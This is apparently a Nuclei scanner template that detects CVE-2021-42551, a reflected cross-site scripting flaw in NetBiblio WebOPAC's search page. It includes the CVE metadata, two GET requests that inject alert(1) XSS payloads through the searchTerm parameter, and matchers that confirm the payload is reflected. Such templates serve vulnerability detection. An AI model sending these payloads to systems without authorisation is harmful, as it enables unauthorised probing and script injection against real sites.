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id : CVE-2021-42551
info :
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name : NetBiblio WebOPAC - Cross-Site Scripting
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author : compr00t
severity : medium
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description : NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
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remediation : |
Upgrade to the latest version to mitigate this vulnerability.
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reference :
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42551
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- https://www.redguard.ch/advisories/netbiblio_webopac.txt
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-42551
cwe-id : CWE-79
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epss-score : 0.00124
epss-percentile : 0.46073
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cpe : cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : alcoda
product : netbiblio
tags : cve,cve2021,xss,netbiblio
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http :
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- method : GET
path :
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
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host-redirects : true
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max-redirects : 3
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matchers-condition : and
matchers :
- type : word
part : body
words :
- "SearchTerm: 'x'+alert(1)+'x',"
- "SearchTerm: 'x\\\\'+alert(1),//',"
condition : or
- type : word
part : header
words :
- "text/html"
- type : word
part : body
words :
- "NetBiblio"
- type : status
status :
- 200